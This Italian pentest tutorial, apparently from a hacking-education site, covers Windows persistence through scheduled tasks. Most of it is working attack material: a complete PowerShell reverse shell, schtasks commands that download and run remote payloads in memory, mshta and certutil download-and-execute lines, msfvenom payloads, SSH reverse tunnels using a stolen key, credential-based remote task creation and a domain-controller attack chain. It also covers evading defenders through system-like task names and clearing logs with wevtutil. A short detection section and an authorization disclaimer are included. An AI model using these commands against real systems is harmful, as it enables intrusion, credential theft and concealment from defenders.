windows

Scheduled Task Backdoor: Persistenza Windows con Task Pianificati nel Pentest

Scheduled Task Backdoor: Persistenza Windows con Task Pianificati nel Pentest

Scheduled Task Backdoor: persistenza su Windows tramite Task Scheduler con schtasks e PowerShell. Tecniche stealth, evasione EDR, detection log e scenari reali di Red Team.

  • Pubblicato il 2026-02-08
  • Tempo di lettura: 8 min

Se crontab è il meccanismo di persistenza per Linux, le Scheduled Task (o Task Pianificati) sono il corrispettivo nativo su Windows. Ogni installazione Windows include il Task Scheduler, e gli amministratori lo usano quotidianamente per backup, aggiornamenti e manutenzione. Questo lo rende un posto ideale dove nascondere un callback: un task in più tra decine esistenti passa facilmente inosservato.

Nel penetration testing, una scheduled task malevola garantisce che il payload si esegua a intervalli regolari, al logon dell’utente o al boot del sistema — senza bisogno di modificare il registro, creare servizi o installare driver. Funziona da Windows 7 in poi e su tutte le versioni di Windows Server.

Nella kill chain ci posizioniamo nella fase di Persistence (MITRE ATT&CK T1053.005). L’articolo copre creazione di task da riga di comando, tecniche di occultamento, integrazione con payload e metodologie di cleanup.


Setup e Prerequisiti #

Non serve installare nulla. Il Task Scheduler è un componente nativo di Windows.

Verifica disponibilità:

cmd
schtasks /query /fo LIST | findstr "TaskName"

Output (parziale):

text
TaskName:   \Microsoft\Windows\UpdateOrchestrator\Schedule Scan
TaskName:   \Microsoft\Windows\Defrag\ScheduledDefrag
TaskName:   \Microsoft\Windows\DiskCleanup\SilentCleanup

I task di sistema sono già numerosi. Il nostro si confonderà tra questi.

Requisiti:

  • Shell sul target Windows (cmd, PowerShell, o sessione Meterpreter)
  • Per task che eseguono come SYSTEM: privilegi di amministratore locale
  • Per task nel contesto dell’utente corrente: nessun privilegio aggiuntivo
  • Payload posizionato su disco o raggiungibile dalla rete

Uso Base #

Creare un task con schtasks (cmd) #

Task che esegue un payload ogni 10 minuti:

cmd
schtasks /create /tn "Microsoft\Windows\NetTrace\GatherNetworkInfo" /tr "C:\Windows\Temp\update.exe" /sc minute /mo 10 /ru SYSTEM /f
  • /tn → nome task (path completo nel task scheduler)
  • /tr → comando da eseguire
  • /sc minute /mo 10 → ogni 10 minuti
  • /ru SYSTEM → esegue come SYSTEM
  • /f → force (sovrascrive se esiste)

Verifica:

cmd
schtasks /query /tn "Microsoft\Windows\NetTrace\GatherNetworkInfo" /fo LIST /v

Output:

text
TaskName:     \Microsoft\Windows\NetTrace\GatherNetworkInfo
Status:       Ready
Logon Mode:   Interactive/Background
Run As User:  SYSTEM
Schedule Type: Every 10 minute(s)
Task To Run:  C:\Windows\Temp\update.exe

Task al logon dell’utente #

cmd
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -f C:\Users\admin\AppData\sync.ps1" /sc onlogon /ru admin /f
  • /sc onlogon → si esegue al login dell’utente
  • -w hidden → finestra PowerShell nascosta
  • -ep bypass → ignora execution policy

Task al boot del sistema #

cmd
schtasks /create /tn "Microsoft\Windows\Maintenance\WinSAT" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

Si esegue a ogni avvio del sistema, prima ancora che un utente faccia login.


Tecniche Operative #

Payload con reverse shell PowerShell #

Crea lo script del payload:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.22',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Salvalo come C:\Users\Public\Documents\sync.ps1.

Registra il task:

cmd
schtasks /create /tn "OneDriveCloudSync" /tr "powershell.exe -ep bypass -w hidden -nop -f C:\Users\Public\Documents\sync.ps1" /sc minute /mo 15 /ru %USERNAME% /f

Ogni 15 minuti ricevi una reverse shell.

Task via PowerShell (sintassi moderna) #

Per Windows 10/11 e Server 2016+, l’approccio PowerShell è più flessibile:

powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\Users\Public\Documents\sync.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 10) -RepetitionDuration (New-TimeSpan -Days 365)
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
Register-ScheduledTask -TaskName "Microsoft\Windows\Maintenance\WinSAT" -Action $action -Trigger $trigger -Settings $settings -User "SYSTEM" -RunLevel Highest -Force

L’opzione -Hidden nasconde il task dalla GUI standard del Task Scheduler.

Esecuzione inline senza file su disco #

Evita di scrivere uno script PowerShell su disco — embedding diretto nel task:

cmd
schtasks /create /tn "WindowsDefenderUpdate" /tr "powershell.exe -ep bypass -w hidden -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.22/payload.ps1')\"" /sc minute /mo 20 /ru SYSTEM /f

Il payload viene scaricato e eseguito in memoria ogni 20 minuti. Nessun file persistente su disco (fileless).


Tecniche Avanzate #

Task con delay randomico #

Un task che esegue esattamente ogni N minuti crea un pattern riconoscibile. Aggiungi delay casuale:

powershell
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 15) -RepetitionDuration (New-TimeSpan -Days 365)
$trigger.Delay = "PT5M"  # delay casuale fino a 5 minuti

Task nascosto con attributo SD (Security Descriptor) #

Rimuovi i permessi di lettura sul task per gli utenti non-admin:

cmd
schtasks /create /tn "MicrosoftEdgeUpdateCheck" /tr "C:\Windows\Temp\svc.exe" /sc minute /mo 30 /ru SYSTEM /f

Poi modifica il security descriptor per nascondere il task:

powershell
$sddl = "D:P(A;;FA;;;BA)(A;;FA;;;SY)"
$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
$folder = $scheduler.GetFolder('\')
$folder.SetSecurityDescriptor($sddl, 0)

Solo SYSTEM e Administrators vedono il task. Utenti standard non lo trovano con schtasks /query.

Persistence multi-livello con WMI Event Subscription #

Combina scheduled task con WMI per ridondanza:

powershell
# Task scheduler (primario)
schtasks /create /tn "SystemHealthCheck" /tr "C:\Windows\Temp\health.exe" /sc minute /mo 15 /ru SYSTEM /f

# WMI Event Subscription (backup)
$filterArgs = @{
    EventNamespace = 'root\cimv2'
    Name = 'ProcessStartMonitor'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
    QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

Se il Blue Team rimuove il task, il WMI event lo ricrea.

Esecuzione da share di rete #

Per non lasciare payload sul disco locale:

cmd
schtasks /create /tn "AdobeUpdater" /tr "\\10.10.14.22\share\payload.exe" /sc onlogon /ru admin /f

Il binario risiede sul tuo attacker box. Attenzione: la share deve essere raggiungibile al momento dell’esecuzione.


Scenari Pratici di Pentest #

Scenario 1: Server Windows in DMZ — Callback persistente #

cmd
schtasks /create /tn "Microsoft\Windows\NetTrace\GatherInfo" /tr "powershell.exe -ep bypass -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.22/rev.ps1')\"" /sc minute /mo 10 /ru SYSTEM /f

Output atteso: SUCCESS: The scheduled task "Microsoft\Windows\NetTrace\GatherInfo" has successfully been created.

Cosa fare se fallisce:

  • Access Denied → Non sei admin locale. Crea il task come utente corrente senza /ru SYSTEM: il task girerà nel contesto utente.
  • Il callback non arriva → Firewall outbound blocca PowerShell. Usa un binario standalone generato con msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=443 -f exe -o update.exe.

Timeline: Creazione task 3 secondi. Primo callback entro 10 minuti.

Scenario 2: Workstation developer — Persistenza al logon con chiave SSH rubata #

Hai trovato una chiave SSH privata in C:\Users\dev\.ssh\id_rsa. Vuoi mantenere accesso anche se cambiano la password Windows.

cmd
schtasks /create /tn "VSCodeSync" /tr "C:\Windows\System32\OpenSSH\ssh.exe -i C:\Users\dev\.ssh\id_rsa -R 9999:localhost:3389 -N attacker@10.10.14.22" /sc onlogon /ru dev /f

Output atteso: SUCCESS: The scheduled task "VSCodeSync" has successfully been created.

Cosa fare se fallisce:

  • OpenSSH client non installato → Usa Plink come alternativa: sostituisci ssh.exe con plink.exe.
  • Chiave con passphrase → Serve la passphrase. Cerca in file di configurazione o usa ssh-agent se è attivo.

Timeline: 5 secondi per creare il task. Tunnel attivo al prossimo logon dell’utente.

Scenario 3: Rete con EDR CrowdStrike — Evasion con LOLBins #

EDR avanzati flaggano powershell.exe nei task pianificati. Usa un LOLBin:

cmd
schtasks /create /tn "Microsoft\Windows\Diagnosis\Scheduled" /tr "mshta.exe http://10.10.14.22/payload.hta" /sc minute /mo 30 /ru SYSTEM /f

mshta.exe è un binario Windows legittimo che esegue HTA (HTML Application).

Output atteso: SUCCESS: ...

Cosa fare se fallisce:

  • mshta.exe bloccato da AppLocker → Prova rundll32.exe javascript:\"\..\mshtml,RunHTMLApplication\";... o certutil -urlcache -split -f http://10.10.14.22/payload.exe C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe.
  • CrowdStrike blocca anche LOLBins → Ambiente molto hardened. Considera alternative come WMI subscription o COM object hijacking.

Timeline: 3 secondi. Callback entro 30 minuti.


Toolchain Integration #

Le scheduled task sono il meccanismo di persistenza per ambienti Windows nell’intera catena d’attacco.

Flusso tipico:

Initial Access → PrivEsc → KeeThief (credential dump) → Scheduled Task (persistence) → Lateral Movement

Le credenziali ottenute da KeePass o dal dump LSASS vengono usate per creare task su macchine remote:

cmd
schtasks /create /s DC01.corp.local /u CORP\admin /p "P@ssw0rd" /tn "DomainPolicyUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 15 /ru SYSTEM /f

Il flag /s permette di creare task su macchine remote — persistenza a distanza.

Metodo persistenza WindowsRichiede adminSopravvive rebootStealthComplessità
Scheduled Task (SYSTEM)★★★☆Bassa
Scheduled Task (utente)No★★★☆Bassa
Registry Run keyNo★★☆☆Bassa
Servizio Windows★★☆☆Media
WMI Event Subscription★★★★Alta
DLL hijackingDipende★★★★Alta

Attack Chain Completa #

Obiettivo: Persistenza su domain controller dopo lateral movement.

Fase 1 — Initial Access (35 min)

Compromissione di una workstation tramite macro Word. Shell come utente standard.

Fase 2 — PrivEsc locale (20 min)

PrintNightmare o altro LPE per ottenere SYSTEM sulla workstation.

Fase 3 — Credential Harvesting (10 min)

Dump LSASS con Mimikatz. Trovi credenziali domain admin cached.

Fase 4 — Lateral Movement al DC (5 min)

bash
psexec.py CORP/da-admin:'DA_p@ss!'@dc01.corp.local

Shell SYSTEM sul domain controller.

Fase 5 — Persistence (2 min)

cmd
schtasks /create /tn "Microsoft\Windows\Compat\ProgramDataUpdater" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 20 /ru SYSTEM /f

Nome task che imita un task di sistema Windows reale.

Fase 6 — DCSync per backup credenziali (5 min)

bash
secretsdump.py CORP/da-admin:'DA_p@ss!'@dc01.corp.local

Dump completo. Il task pianificato garantisce rientro anche se cambiano le password.

Timeline totale: ~77 minuti.


Detection & Evasion #

Cosa monitora il Blue Team #

  • Event ID 4698 → Creazione di un nuovo scheduled task (Security Log)
  • Sysmon Event ID 1 → Process creation da schtasks.exe con argomenti sospetti
  • Event ID 106 → Task registered (Task Scheduler Operational Log)
  • EDR → Monitoraggio di powershell.exe o LOLBins come child process di taskeng.exe / taskhostw.exe

Log rilevanti #

  • Security → Event ID 4698 (task created), 4702 (task updated)
  • Microsoft-Windows-TaskScheduler/Operational → Event ID 106 (registered), 200 (action started), 201 (action completed)
  • Sysmon → Event ID 1 (process create), Event ID 11 (file create per payload)

Tecniche di evasion #

  1. Naming che imita task di sistema: usa percorsi come Microsoft\Windows\Maintenance\* o Microsoft\Windows\NetTrace\*. I SOC analyst scorrono centinaia di task — uno con nome plausibile viene ignorato.
  2. Elimina il log del task dopo la creazione: con privilegi SYSTEM, pulisci i log operativi:
powershell
wevtutil cl Microsoft-Windows-TaskScheduler/Operational
  1. Delay iniziale elevato: crea il task con un delay di 30-60 minuti prima della prima esecuzione. Se il SOC controlla i task appena creati, il callback non è ancora partito e il task appare dormiente.

Cleanup #

cmd
schtasks /delete /tn "Microsoft\Windows\NetTrace\GatherInfo" /f
del C:\Windows\Temp\update.exe
del C:\Users\Public\Documents\sync.ps1
wevtutil cl Microsoft-Windows-TaskScheduler/Operational

Performance & Scaling #

Single target: il task scheduler ha overhead quasi nullo. Un task ogni 10-15 minuti consuma risorse trascurabili.

Multi-target remoto: usa schtasks /create /s HOSTNAME per creare task su macchine remote in batch:

cmd
for /f %h in (targets.txt) do schtasks /create /s %h /u CORP\admin /p "P@ss" /tn "HealthCheck" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 15 /ru SYSTEM /f

Limiti: Windows limita il numero di task attivi ma il limite è nell’ordine delle migliaia — non è un vincolo operativo. La frequenza minima per un task ripetuto è 1 minuto.


Tabelle Tecniche #

Command Reference (schtasks) #

ComandoDescrizione
schtasks /create /tn NAME /tr CMD /sc TRIGGERCrea task
schtasks /query /tn NAME /fo LIST /vDettagli task
schtasks /run /tn NAMEEsecuzione immediata
schtasks /delete /tn NAME /fElimina task
schtasks /change /tn NAME /tr NEWCMDModifica task
schtasks /create /s HOST /u USER /p PASS ...Task su host remoto

Trigger disponibili #

TriggerFlag schtasksUso offensivo
Ogni N minuti/sc minute /mo NCallback ricorrente
Al boot/sc onstartPersistenza pre-logon
Al logon/sc onlogonPersistenza utente
Giornaliero/sc daily /st HH:MMCallback giornaliero
A evento specifico/sc onevent /ec Security /mo *[...]Trigger su azione specifica
Idle/sc onidle /i 10Esecuzione quando l’utente è inattivo

Troubleshooting #

ProblemaCausaFix
Access DeniedNon admin per task SYSTEMCrea task come utente corrente (senza /ru SYSTEM)
Task creato ma non eseguePayload path errato o rimossoVerifica che il file esista e sia eseguibile
Callback non arrivaFirewall blocca outboundCambia porta (443, 53) o usa LOLBin per HTTP
Task visibile nel Task Scheduler GUIPermessi defaultUsa Security Descriptor per nasconderlo
The task XML contains too many nodesErrore di sintassiRicontrolla sintassi PowerShell per task complessi
Event ID 201 con result 0x1Il comando ritorna erroreTesta il comando manualmente prima di schedularlo

FAQ #

Serve essere admin per creare un task? Per task che girano come SYSTEM o altri utenti, sì. Per task che girano nel tuo contesto utente, no.

Il task sopravvive a un reboot? Sì. I task sono salvati in file XML in C:\Windows\System32\Tasks\.

Posso creare task da una reverse shell non interattiva? Sì. schtasks funziona perfettamente da cmd non interattivo. PowerShell Register-ScheduledTask richiede più interattività.

Come trovo task sospetti come Blue Team? Controlla Event ID 4698, lista task con schtasks /query /fo CSV /v e confronta con una baseline. Cerca task con nomi che imitano quelli di sistema ma con path binari anomali.

Posso creare task su macchine remote? Sì, con il flag /s HOSTNAME e credenziali valide. Richiede che la porta 135 (RPC) sia raggiungibile.

Il task funziona anche se l’utente non è loggato? Sì, se creato con /ru SYSTEM o con l’opzione “Run whether user is logged on or not”.


Cheat Sheet #

AzioneComando
Callback ogni 10 minschtasks /create /tn "TaskName" /tr "payload.exe" /sc minute /mo 10 /ru SYSTEM /f
Al bootschtasks /create /tn "TaskName" /tr "payload.exe" /sc onstart /ru SYSTEM /f
Al logonschtasks /create /tn "TaskName" /tr "payload.exe" /sc onlogon /f
Task remotoschtasks /create /s HOST /u USER /p PASS /tn "Name" /tr "cmd" /sc minute /mo 15 /ru SYSTEM /f
Fileless (download + exec)schtasks /create /tn "Name" /tr "powershell -ep bypass -w hidden -c IEX(...)" /sc minute /mo 20 /ru SYSTEM /f
Esecuzione immediataschtasks /run /tn "TaskName"
Query taskschtasks /query /tn "TaskName" /fo LIST /v
Elimina taskschtasks /delete /tn "TaskName" /f
Pulisci logwevtutil cl Microsoft-Windows-TaskScheduler/Operational

Disclaimer: Le scheduled task sono una funzionalità nativa di Windows. L’uso descritto è esclusivamente per attività autorizzate di penetration test e Red Team. Creare persistenza su sistemi senza autorizzazione è un reato. Documentazione ufficiale: docs.microsoft.com/en-us/windows/win32/taskschd.


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

#scheduled windows

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.